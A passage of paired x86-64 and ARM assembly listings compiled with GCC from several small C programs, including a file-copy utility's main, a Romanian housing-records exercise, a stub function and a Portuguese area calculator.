ldrb r3, [r3] @ zero_extendqisi2
sub r3, r3, #82
cmp r3, #38
ldrls pc, [pc, r3, asl #2]
b .L327
.L330:
.word .L339
.word .L338
.word .L327
.word .L327
.word .L327
.word .L327
.word .L327
.word .L327
.word .L327
.word .L327
.word .L327
.word .L327
.word .L327
.word .L327
.word .L327
.word .L327
.word .L327
.word .L327
.word .L327
.word .L327
.word .L337
.word .L327
.word .L327
.word .L336
.word .L327
.word .L327
.word .L327
.word .L335
.word .L327
.word .L327
.word .L334
.word .L327
.word .L333
.word .L332
.word .L327
.word .L327
.word .L331
.word .L327
.word .L329
.L334:
ldr r3, .L363+36
mov r2, #1
str r2, [r3]
b .L327
.L336:
ldr r3, .L363+104
mov r2, #1
str r2, [r3]
ldr r3, .L363+16
ldr r3, [r3]
cmp r3, #1
bne .L327
ldr r3, .L363+76
mov r2, #0
str r2, [r3]
b .L327
.L337:
ldr r3, .L363+76
mov r2, #1
str r2, [r3]
ldr r3, .L363+16
ldr r3, [r3]
cmp r3, #1
bne .L327
ldr r3, .L363+104
mov r2, #0
str r2, [r3]
b .L327
.L332:
ldr r3, .L363+16
ldr r3, [r3]
cmp r3, #3
bne .L342
ldr r3, .L363+108
mov r2, #1
str r2, [r3]
b .L327
.L342:
ldr r3, .L363+68
mov r2, #0
str r2, [r3]
b .L327
.L338:
ldr r3, .L363+112
mov r2, #1
str r2, [r3]
b .L327
.L335:
ldr r3, .L363+64
mov r2, #1
str r2, [r3]
b .L327
.L333:
ldr r3, .L363+24
mov r2, #0
str r2, [r3]
.L339:
ldr r3, .L363+40
mov r2, #1
str r2, [r3]
b .L327
.L331:
ldr r3, .L363+116
mov r2, #1
str r2, [r3]
b .L327
.L329:
ldr r3, .L363+120
mov r2, #1
str r2, [r3]
nop
.L327:
ldr r3, [fp, #-132]
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L344
.L324:
ldr r2, [fp, #-140]
ldr r3, [fp, #-144]
cmp r2, r3
bge .L326
ldr r3, [fp, #-140]
lsl r3, r3, #2
ldr r2, [fp, #-148]
add r3, r2, r3
ldr r3, [r3]
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #45
beq .L345
b .L326
.L360:
nop
.L326:
ldr r3, .L363+16
ldr r3, [r3]
cmp r3, #2
beq .L346
cmp r3, #3
beq .L347
b .L348
.L346:
ldr r2, [fp, #-140]
ldr r3, [fp, #-144]
cmp r2, r3
bne .L361
bl usage
b .L361
.L347:
ldr r2, [fp, #-144]
ldr r3, [fp, #-140]
sub r3, r2, r3
cmp r3, #1
bne .L348
ldr r3, .L363+16
ldr r3, [r3]
cmp r3, #3
bne .L348
ldr r3, [fp, #-144]
add r2, r3, #1
str r2, [fp, #-144]
lsl r3, r3, #2
ldr r2, [fp, #-148]
add r3, r2, r3
ldr r2, .L363+124
str r2, [r3]
.L348:
ldr r2, [fp, #-144]
ldr r3, [fp, #-140]
sub r3, r2, r3
cmp r3, #1
bgt .L350
bl usage
b .L350
.L361:
nop
.L350:
sub r3, fp, #124
mov r0, r3
bl path_init
sub r3, fp, #112
mov r0, r3
bl path_init
ldr r3, .L363+16
ldr r3, [r3]
cmp r3, #2
beq .L351
ldr r3, .L363+64
ldr r3, [r3]
cmp r3, #0
bne .L351
ldr r3, [fp, #-144]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #-148]
add r3, r2, r3
ldr r3, [r3]
sub r2, fp, #100
mov r1, r2
mov r0, r3
bl stat
mov r3, r0
cmp r3, #0
blt .L351
ldr r3, [fp, #-84]
and r3, r3, #61440
cmp r3, #16384
bne .L351
ldr r3, [fp, #-144]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #-148]
add r3, r2, r3
ldr r2, [r3]
sub r3, fp, #112
mov r1, r2
mov r0, r3
bl path_add
ldr r3, [fp, #-108]
str r3, [fp, #-128]
.L352:
ldr r3, [fp, #-140]
lsl r3, r3, #2
ldr r2, [fp, #-148]
add r3, r2, r3
ldr r2, [r3]
sub r3, fp, #124
mov r1, r2
mov r0, r3
bl path_add
ldr r3, [fp, #-140]
lsl r3, r3, #2
ldr r2, [fp, #-148]
add r3, r2, r3
ldr r3, [r3]
mov r0, r3
bl basename
mov r2, r0
sub r3, fp, #112
mov r1, r2
mov r0, r3
bl path_add
sub r1, fp, #112
sub r3, fp, #124
mov r2, #0
mov r0, r3
bl do1
sub r3, fp, #124
mov r1, #0
mov r0, r3
bl path_trunc
sub r3, fp, #112
ldr r1, [fp, #-128]
mov r0, r3
bl path_trunc
ldr r3, [fp, #-140]
add r3, r3, #1
str r3, [fp, #-140]
ldr r3, [fp, #-144]
sub r3, r3, #1
ldr r2, [fp, #-140]
cmp r2, r3
blt .L352
b .L353
.L351:
ldr r3, .L363+16
ldr r3, [r3]
cmp r3, #2
beq .L358
ldr r2, [fp, #-144]
ldr r3, [fp, #-140]
sub r3, r2, r3
cmp r3, #2
bne .L355
.L358:
ldr r3, [fp, #-140]
lsl r3, r3, #2
ldr r2, [fp, #-148]
add r3, r2, r3
ldr r2, [r3]
sub r3, fp, #124
mov r1, r2
mov r0, r3
bl path_add
ldr r3, .L363+16
ldr r3, [r3]
cmp r3, #2
beq .L356
ldr r3, [fp, #-140]
add r3, r3, #1
lsl r3, r3, #2
ldr r2, [fp, #-148]
add r3, r2, r3
ldr r2, [r3]
sub r3, fp, #112
mov r1, r2
mov r0, r3
bl path_add
.L356:
sub r1, fp, #112
sub r3, fp, #124
mov r2, #0
mov r0, r3
bl do1
sub r3, fp, #124
mov r1, #0
mov r0, r3
bl path_trunc
ldr r3, .L363+16
ldr r3, [r3]
cmp r3, #2
bne .L362
ldr r3, [fp, #-140]
add r3, r3, #1
str r3, [fp, #-140]
ldr r2, [fp, #-140]
ldr r3, [fp, #-144]
cmp r2, r3
blt .L358
b .L362
.L355:
bl usage
b .L353
.L362:
nop
.L353:
ldr r3, [fp, #-124]
mov r0, r3
bl deallocate
ldr r3, [fp, #-112]
mov r0, r3
bl deallocate
ldr r3, .L363+128
ldr r3, [r3]
mov r0, r3
bl exit
.L364:
.align 2
.L363:
.word .LC55
.word prog_name
.word .LC47
.word identity
.word action
.word .LC36
.word expand
.word .LC48
.word .LC38
.word pflag
.word rflag
.word .LC49
.word .LC50
.word .LC51
.word .LC41
.word .LC52
.word mflag
.word conforming
.word .LC53
.word fflag
.word stderr
.word .LC54
.word uid
.word gid
.word istty
.word fc_mask
.word iflag
.word sflag
.word Sflag
.word vflag
.word xflag
.word .LC25
.word ex_code
.size main, .-main
.local oldies.6325
.comm oldies.6325,1024,4
.local topdst_ino.6418
.comm topdst_ino.6418,4,4
.local topsrc_dev.6420
.comm topsrc_dev.6420,8,8
.local topdst_dev.6419
.comm topdst_dev.6419,8,8
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "912065.c"
.intel_syntax noprefix
.text
.section .rodata
.LC0:
.string "%100s"
.LC1:
.string "%f"
.LC2:
.string "%30s"
.LC3:
.string "%u"
.LC4:
.string "garsoniera"
.LC5:
.string "%d"
.LC6:
.string "casa"
.LC7:
.string "%20c"
.LC8:
.string "%c"
.text
.globl citeste_locuinta
.type citeste_locuinta, @function
citeste_locuinta:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov QWORD PTR -24[rbp], rdi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov rax, QWORD PTR -24[rbp]
mov rsi, rax
lea rdi, .LC0[rip]
mov eax, 0
call __isoc99_scanf@PLT
mov rax, QWORD PTR -24[rbp]
add rax, 104
mov rsi, rax
lea rdi, .LC1[rip]
mov eax, 0
call __isoc99_scanf@PLT
mov rax, QWORD PTR -24[rbp]
add rax, 108
mov rsi, rax
lea rdi, .LC2[rip]
mov eax, 0
call __isoc99_scanf@PLT
mov rax, QWORD PTR -24[rbp]
add rax, 140
mov rsi, rax
lea rdi, .LC3[rip]
mov eax, 0
call __isoc99_scanf@PLT
mov rax, QWORD PTR -24[rbp]
add rax, 108
lea rsi, .LC4[rip]
mov rdi, rax
call strcmp@PLT
test eax, eax
jne .L2
lea rax, -12[rbp]
mov rsi, rax
lea rdi, .LC5[rip]
mov eax, 0
call __isoc99_scanf@PLT
mov eax, DWORD PTR -12[rbp]
test eax, eax
setne dl
mov rax, QWORD PTR -24[rbp]
mov ecx, edx
and ecx, 1
movzx edx, BYTE PTR 144[rax]
and edx, -2
or edx, ecx
mov BYTE PTR 144[rax], dl
jmp .L6
.L2:
mov rax, QWORD PTR -24[rbp]
add rax, 108
lea rsi, .LC6[rip]
mov rdi, rax
call strcmp@PLT
test eax, eax
jne .L4
mov rax, QWORD PTR -24[rbp]
add rax, 144
mov rsi, rax
lea rdi, .LC7[rip]
mov eax, 0
call __isoc99_scanf@PLT
jmp .L6
.L4:
lea rax, -12[rbp]
mov rsi, rax
lea rdi, .LC8[rip]
mov eax, 0
call __isoc99_scanf@PLT
movzx edx, BYTE PTR -12[rbp]
mov rax, QWORD PTR -24[rbp]
mov BYTE PTR 144[rax], dl
.L6:
nop
mov rax, QWORD PTR -8[rbp]
sub rax, QWORD PTR fs:40
je .L5
call __stack_chk_fail@PLT
.L5:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size citeste_locuinta, .-citeste_locuinta
.section .rodata
.align 8
.LC9:
.string "Nu exista garsoniere cu balcon"
.text
.globl main
.type main, @function
main:
.LFB7:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rax, -32[rbp]
mov rsi, rax
lea rdi, .LC5[rip]
mov eax, 0
call __isoc99_scanf@PLT
mov eax, DWORD PTR -32[rbp]
cdqe
mov esi, 164
mov rdi, rax
call calloc@PLT
mov QWORD PTR -16[rbp], rax
mov QWORD PTR -24[rbp], 0
mov DWORD PTR -28[rbp], 0
jmp .L8
.L12:
mov eax, DWORD PTR -28[rbp]
movsx rdx, eax
mov rax, rdx
sal rax, 2
add rax, rdx
sal rax, 3
add rax, rdx
sal rax, 2
mov rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
mov rdi, rax
call citeste_locuinta
mov eax, DWORD PTR -28[rbp]
movsx rdx, eax
mov rax, rdx
sal rax, 2
add rax, rdx
sal rax, 3
add rax, rdx
sal rax, 2
mov rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
add rax, 108
lea rsi, .LC4[rip]
mov rdi, rax
call strcmp@PLT
test eax, eax
jne .L9
mov eax, DWORD PTR -28[rbp]
movsx rdx, eax
mov rax, rdx
sal rax, 2
add rax, rdx
sal rax, 3
add rax, rdx
sal rax, 2
mov rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR 144[rax]
and eax, 1
test al, al
je .L9
cmp QWORD PTR -24[rbp], 0
jne .L10
mov eax, DWORD PTR -28[rbp]
movsx rdx, eax
mov rax, rdx
sal rax, 2
add rax, rdx
sal rax, 3
add rax, rdx
sal rax, 2
mov rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
mov QWORD PTR -24[rbp], rax
jmp .L9
.L10:
mov rax, QWORD PTR -24[rbp]
movss xmm1, DWORD PTR 104[rax]
mov eax, DWORD PTR -28[rbp]
movsx rdx, eax
mov rax, rdx
sal rax, 2
add rax, rdx
sal rax, 3
add rax, rdx
sal rax, 2
mov rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movss xmm0, DWORD PTR 104[rax]
comiss xmm0, xmm1
jbe .L9
mov eax, DWORD PTR -28[rbp]
movsx rdx, eax
mov rax, rdx
sal rax, 2
add rax, rdx
sal rax, 3
add rax, rdx
sal rax, 2
mov rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
mov QWORD PTR -24[rbp], rax
.L9:
add DWORD PTR -28[rbp], 1
.L8:
mov eax, DWORD PTR -32[rbp]
cmp DWORD PTR -28[rbp], eax
jl .L12
cmp QWORD PTR -24[rbp], 0
jne .L13
lea rdi, .LC9[rip]
call puts@PLT
jmp .L14
.L13:
mov rax, QWORD PTR -24[rbp]
mov rdi, rax
call puts@PLT
.L14:
mov rax, QWORD PTR -16[rbp]
mov rdi, rax
call free@PLT
mov eax, 0
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L16
call __stack_chk_fail@PLT
.L16:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE7:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "912065.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "%100s\000"
.align 2
.LC1:
.ascii "%f\000"
.align 2
.LC2:
.ascii "%30s\000"
.align 2
.LC3:
.ascii "%u\000"
.align 2
.LC4:
.ascii "garsoniera\000"
.align 2
.LC5:
.ascii "%d\000"
.align 2
.LC6:
.ascii "casa\000"
.align 2
.LC7:
.ascii "%20c\000"
.align 2
.LC8:
.ascii "%c\000"
.align 2
.LC9:
.word __stack_chk_guard
.text
.align 2
.global citeste_locuinta
.syntax unified
.arm
.fpu softvfp
.type citeste_locuinta, %function
citeste_locuinta:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-16]
ldr r3, .L7
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r3, [fp, #-16]
mov r1, r3
ldr r0, .L7+4
bl __isoc99_scanf
ldr r3, [fp, #-16]
add r3, r3, #104
mov r1, r3
ldr r0, .L7+8
bl __isoc99_scanf
ldr r3, [fp, #-16]
add r3, r3, #108
mov r1, r3
ldr r0, .L7+12
bl __isoc99_scanf
ldr r3, [fp, #-16]
add r3, r3, #140
mov r1, r3
ldr r0, .L7+16
bl __isoc99_scanf
ldr r3, [fp, #-16]
add r3, r3, #108
ldr r1, .L7+20
mov r0, r3
bl strcmp
mov r3, r0
cmp r3, #0
bne .L2
sub r3, fp, #12
mov r1, r3
ldr r0, .L7+24
bl __isoc99_scanf
ldr r3, [fp, #-12]
cmp r3, #0
movne r3, #1
moveq r3, #0
and r1, r3, #255
ldr r2, [fp, #-16]
ldrb r3, [r2, #144]
and r1, r1, #1
bic r3, r3, #1
orr r3, r1, r3
strb r3, [r2, #144]
b .L6
.L2:
ldr r3, [fp, #-16]
add r3, r3, #108
ldr r1, .L7+28
mov r0, r3
bl strcmp
mov r3, r0
cmp r3, #0
bne .L4
ldr r3, [fp, #-16]
add r3, r3, #144
mov r1, r3
ldr r0, .L7+32
bl __isoc99_scanf
b .L6
.L4:
sub r3, fp, #12
mov r1, r3
ldr r0, .L7+36
bl __isoc99_scanf
ldrb r2, [fp, #-12] @ zero_extendqisi2
ldr r3, [fp, #-16]
strb r2, [r3, #144]
.L6:
nop
ldr r3, .L7
ldr r2, [r3]
ldr r3, [fp, #-8]
eors r2, r3, r2
mov r3, #0
beq .L5
bl __stack_chk_fail
.L5:
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L8:
.align 2
.L7:
.word .LC9
.word .LC0
.word .LC1
.word .LC2
.word .LC3
.word .LC4
.word .LC5
.word .LC6
.word .LC7
.word .LC8
.size citeste_locuinta, .-citeste_locuinta
.global __aeabi_fcmplt
.section .rodata
.align 2
.LC10:
.ascii "Nu exista garsoniere cu balcon\000"
.align 2
.LC11:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #24
ldr r3, .L20
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
sub r3, fp, #24
mov r1, r3
ldr r0, .L20+4
bl __isoc99_scanf
ldr r3, [fp, #-24]
mov r1, #164
mov r0, r3
bl calloc
mov r3, r0
str r3, [fp, #-12]
mov r3, #0
str r3, [fp, #-20]
mov r3, #0
str r3, [fp, #-16]
b .L10
.L14:
ldr r2, [fp, #-16]
mov r3, r2
lsl r3, r3, #2
add r3, r3, r2
lsl r3, r3, #3
add r3, r3, r2
lsl r3, r3, #2
mov r2, r3
ldr r3, [fp, #-12]
add r3, r3, r2
mov r0, r3
bl citeste_locuinta
ldr r2, [fp, #-16]
mov r3, r2
lsl r3, r3, #2
add r3, r3, r2
lsl r3, r3, #3
add r3, r3, r2
lsl r3, r3, #2
mov r2, r3
ldr r3, [fp, #-12]
add r3, r3, r2
add r3, r3, #108
ldr r1, .L20+8
mov r0, r3
bl strcmp
mov r3, r0
cmp r3, #0
bne .L11
ldr r2, [fp, #-16]
mov r3, r2
lsl r3, r3, #2
add r3, r3, r2
lsl r3, r3, #3
add r3, r3, r2
lsl r3, r3, #2
mov r2, r3
ldr r3, [fp, #-12]
add r3, r3, r2
ldrb r3, [r3, #144] @ zero_extendqisi2
and r3, r3, #1
and r3, r3, #255
cmp r3, #0
beq .L11
ldr r3, [fp, #-20]
cmp r3, #0
bne .L12
ldr r2, [fp, #-16]
mov r3, r2
lsl r3, r3, #2
add r3, r3, r2
lsl r3, r3, #3
add r3, r3, r2
lsl r3, r3, #2
mov r2, r3
ldr r3, [fp, #-12]
add r3, r3, r2
str r3, [fp, #-20]
b .L11
.L12:
ldr r3, [fp, #-20]
ldr r0, [r3, #104] @ float
ldr r2, [fp, #-16]
mov r3, r2
lsl r3, r3, #2
add r3, r3, r2
lsl r3, r3, #3
add r3, r3, r2
lsl r3, r3, #2
mov r2, r3
ldr r3, [fp, #-12]
add r3, r3, r2
ldr r3, [r3, #104] @ float
mov r1, r3
bl __aeabi_fcmplt
mov r3, r0
cmp r3, #0
beq .L11
ldr r2, [fp, #-16]
mov r3, r2
lsl r3, r3, #2
add r3, r3, r2
lsl r3, r3, #3
add r3, r3, r2
lsl r3, r3, #2
mov r2, r3
ldr r3, [fp, #-12]
add r3, r3, r2
str r3, [fp, #-20]
.L11:
ldr r3, [fp, #-16]
add r3, r3, #1
str r3, [fp, #-16]
.L10:
ldr r3, [fp, #-24]
ldr r2, [fp, #-16]
cmp r2, r3
blt .L14
ldr r3, [fp, #-20]
cmp r3, #0
bne .L15
ldr r0, .L20+12
bl puts
b .L16
.L15:
ldr r3, [fp, #-20]
mov r0, r3
bl puts
.L16:
ldr r0, [fp, #-12]
bl free
mov r3, #0
ldr r2, .L20
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L18
bl __stack_chk_fail
.L18:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L21:
.align 2
.L20:
.word .LC11
.word .LC5
.word .LC4
.word .LC10
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "339990.c"
.intel_syntax noprefix
.text
.globl func_extern
.type func_extern, @function
func_extern:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov eax, 0
call get_num@PLT
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size func_extern, .-func_extern
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "339990.c"
.text
.align 2
.global func_extern
.syntax unified
.arm
.fpu softvfp
.type func_extern, %function
func_extern:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
bl get_num
mov r3, r0
mov r0, r3
pop {fp, pc}
.size func_extern, .-func_extern
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "110208.c"
.intel_syntax noprefix
.text
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "110208.c"
.text
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "478017.c"
.intel_syntax noprefix
.text
.globl main
.type main, @function
main:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 64
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rax, -64[rbp]
mov rdi, rax
call lerPontos
lea rax, -64[rbp]
mov rdi, rax
call calcularArea
mov eax, 0
mov rdx, QWORD PTR -8[rbp]
sub rdx, QWORD PTR fs:40
je .L3
call __stack_chk_fail@PLT
.L3:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size main, .-main
.globl lerPontos
.type lerPontos, @function
lerPontos:
.LFB7:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov QWORD PTR -24[rbp], rdi
mov edi, 0
call time@PLT
mov edi, eax
call srand@PLT
mov DWORD PTR -4[rbp], 0
jmp .L5
.L6:
call rand@PLT
movsx rdx, eax
imul rdx, rdx, -2004318071
shr rdx, 32
add edx, eax
sar edx, 3
mov ecx, eax
sar ecx, 31
sub edx, ecx
mov ecx, edx
sal ecx, 4
sub ecx, edx
sub eax, ecx
mov edx, eax
add edx, 1
mov eax, DWORD PTR -4[rbp]
cdqe
sal rax, 4
mov rcx, rax
mov rax, QWORD PTR -24[rbp]
add rax, rcx
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
movss DWORD PTR [rax], xmm0
call rand@PLT
movsx rdx, eax
imul rdx, rdx, -2004318071
shr rdx, 32
add edx, eax
sar edx, 3
mov ecx, eax
sar ecx, 31
sub edx, ecx
mov ecx, edx
sal ecx, 4
sub ecx, edx
sub eax, ecx
mov edx, eax
add edx, 1
mov eax, DWORD PTR -4[rbp]
cdqe
sal rax, 4
mov rcx, rax
mov rax, QWORD PTR -24[rbp]
add rax, rcx
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
movss DWORD PTR 4[rax], xmm0
call rand@PLT
movsx rdx, eax
imul rdx, rdx, -2004318071
shr rdx, 32
add edx, eax
sar edx, 3
mov ecx, eax
sar ecx, 31
sub edx, ecx
mov ecx, edx
sal ecx, 4
sub ecx, edx
sub eax, ecx
mov edx, eax
add edx, 1
mov eax, DWORD PTR -4[rbp]
cdqe
sal rax, 4
mov rcx, rax
mov rax, QWORD PTR -24[rbp]
add rax, rcx
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
movss DWORD PTR 8[rax], xmm0
call rand@PLT
movsx rdx, eax
imul rdx, rdx, -2004318071
shr rdx, 32
add edx, eax
sar edx, 3
mov ecx, eax
sar ecx, 31
sub edx, ecx
mov ecx, edx
sal ecx, 4
sub ecx, edx
sub eax, ecx
mov edx, eax
add edx, 1
mov eax, DWORD PTR -4[rbp]
cdqe
sal rax, 4
mov rcx, rax
mov rax, QWORD PTR -24[rbp]
add rax, rcx
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
movss DWORD PTR 12[rax], xmm0
add DWORD PTR -4[rbp], 1
.L5:
cmp DWORD PTR -4[rbp], 2
jle .L6
nop
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE7:
.size lerPontos, .-lerPontos
.section .rodata
.LC0:
.string "ponto A (%.2f;%.2f)\n"
.LC1:
.string "ponto B (%.2f;%.2f)\n"
.LC2:
.string "Area = %.2f\n\n"
.text
.globl calcularArea
.type calcularArea, @function
calcularArea:
.LFB8:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov QWORD PTR -24[rbp], rdi
mov DWORD PTR -12[rbp], 0
jmp .L8
.L9:
mov eax, DWORD PTR -12[rbp]
cdqe
sal rax, 4
mov rdx, rax
mov rax, QWORD PTR -24[rbp]
add rax, rdx
movss xmm0, DWORD PTR 4[rax]
cvtss2sd xmm0, xmm0
mov eax, DWORD PTR -12[rbp]
cdqe
sal rax, 4
mov rdx, rax
mov rax, QWORD PTR -24[rbp]
add rax, rdx
movss xmm1, DWORD PTR [rax]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movq rax, xmm2
movapd xmm1, xmm0
movq xmm0, rax
lea rdi, .LC0[rip]
mov eax, 2
call printf@PLT
mov eax, DWORD PTR -12[rbp]
cdqe
sal rax, 4
mov rdx, rax
mov rax, QWORD PTR -24[rbp]
add rax, rdx
movss xmm0, DWORD PTR 12[rax]
cvtss2sd xmm0, xmm0
mov eax, DWORD PTR -12[rbp]
cdqe
sal rax, 4
mov rdx, rax
mov rax, QWORD PTR -24[rbp]
add rax, rdx
movss xmm1, DWORD PTR 8[rax]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm1
movq rax, xmm3
movapd xmm1, xmm0
movq xmm0, rax
lea rdi, .LC1[rip]
mov eax, 2
call printf@PLT
mov eax, DWORD PTR -12[rbp]
cdqe
sal rax, 4
mov rdx, rax
mov rax, QWORD PTR -24[rbp]
add rax, rdx
mov rdx, QWORD PTR [rax]
mov rax, QWORD PTR 8[rax]
movq xmm0, rdx
movq xmm1, rax
call calcularBase
movd eax, xmm0
mov DWORD PTR -8[rbp], eax
mov eax, DWORD PTR -12[rbp]
cdqe
sal rax, 4
mov rdx, rax
mov rax, QWORD PTR -24[rbp]
add rax, rdx
mov rdx, QWORD PTR [rax]
mov rax, QWORD PTR 8[rax]
movq xmm0, rdx
movq xmm1, rax
call calcularAltura
movd eax, xmm0
mov DWORD PTR -4[rbp], eax
movss xmm0, DWORD PTR -8[rbp]
mulss xmm0, DWORD PTR -4[rbp]
pxor xmm4, xmm4
cvtss2sd xmm4, xmm0
movq rax, xmm4
movq xmm0, rax
lea rdi, .LC2[rip]
mov eax, 1
call printf@PLT
add DWORD PTR -12[rbp], 1
.L8:
cmp DWORD PTR -12[rbp], 2
jle .L9
nop
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE8:
.size calcularArea, .-calcularArea
.globl calcularBase
.type calcularBase, @function
calcularBase:
.LFB9:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
movq rax, xmm0
movdqa xmm0, xmm1
movq rdx, xmm0
mov QWORD PTR -32[rbp], rax
mov QWORD PTR -24[rbp], rdx
movss xmm0, DWORD PTR -32[rbp]
movss xmm1, DWORD PTR -24[rbp]
subss xmm0, xmm1
pxor xmm2, xmm2
cvtss2sd xmm2, xmm0
movq rax, xmm2
movsd xmm0, QWORD PTR .LC3[rip]
movapd xmm1, xmm0
movq xmm0, rax
call pow@PLT
movq rax, xmm0
movq xmm0, rax
call sqrt@PLT
cvtsd2ss xmm0, xmm0
movss DWORD PTR -4[rbp], xmm0
movss xmm0, DWORD PTR -4[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE9:
.size calcularBase, .-calcularBase
.globl calcularAltura
.type calcularAltura, @function
calcularAltura:
.LFB10:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
movq rax, xmm0
movdqa xmm0, xmm1
movq rdx, xmm0
mov QWORD PTR -32[rbp], rax
mov QWORD PTR -24[rbp], rdx
movss xmm0, DWORD PTR -28[rbp]
movss xmm1, DWORD PTR -20[rbp]
subss xmm0, xmm1
pxor xmm2, xmm2
cvtss2sd xmm2, xmm0
movq rax, xmm2
movsd xmm0, QWORD PTR .LC3[rip]
movapd xmm1, xmm0
movq xmm0, rax
call pow@PLT
movq rax, xmm0
